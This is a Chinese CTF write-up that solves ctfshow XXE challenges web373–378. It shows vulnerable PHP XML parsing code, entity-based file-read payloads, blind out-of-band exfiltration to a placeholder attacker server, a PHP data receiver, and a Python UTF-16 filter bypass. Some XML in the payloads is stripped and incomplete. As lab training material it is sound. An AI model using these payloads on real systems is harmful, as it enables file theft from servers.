ctfshow web入门-XXE
- web373
-
- web374
-
- web375
-
- web376
-
- web377
-
- web378
-
web373
题目描述
解题思路
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
?>
DOCTYPE xml [
]>
<H3rmesk1t>
<ctfshow>
&xxe;
ctfshow>
H3rmesk1t>
![ctfshow web入门-XXE_第1张图片](http://img.e-com-net.com/image/info8/b40f880f0d114e9293626f69177fee9a.jpg)
web374
题目描述
解题思路
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
DOCTYPE ANY[
%remote;
%send;
]>
- 在服务器放置
xxe.php
和 xxe.xml
两个文件
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
% send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
![ctfshow web入门-XXE_第2张图片](http://img.e-com-net.com/image/info8/2fa9e58a6d274fc58cd078615ca53c6d.png)
web375
题目描述
解题思路
- 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
DOCTYPE ANY[
%remote;
%send;
]>
- 在服务器放置
xxe.php
和 xxe.xml
两个文件
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
% send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
![在这里插入图片描述](http://img.e-com-net.com/image/info8/f9a68085c6cb432e86ffab63b4951946.png)
web376
题目描述
解题思路
- 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
DOCTYPE ANY[
%remote;
%send;
]>
- 在服务器放置
xxe.php
和 xxe.xml
两个文件
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
% send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
![在这里插入图片描述](http://img.e-com-net.com/image/info8/2ea9fba8e255464186c09e750288130c.png)
web377
题目描述
解题思路
- 无回显的文件读取,且禁用了版本号和http,和上面一样进行外带不写版本号改成利用 utf-16 编码即可
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
import requests
url = 'http://00edd7b9-7fc6-40fd-937d-deb477902dca.challenge.ctf.show:8080/'
payload = '''
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
- 在服务器放置
xxe.php
和 xxe.xml
两个文件
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
% send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
![ctfshow web入门-XXE_第3张图片](http://img.e-com-net.com/image/info8/77715c71a75d4048a97999a8c7b5674a.jpg)
web378
题目描述
解题思路
- 登录框抓个包,发现是回显 xml 形式,而且是回显 username 的值,构造 Payload
DOCTYPE ANY [
]>
<user><username>&file;username><password>apassword>user>
![ctfshow web入门-XXE_第4张图片](http://img.e-com-net.com/image/info8/dc8e2f8634d2490cbe38e25f897ea8ae.jpg)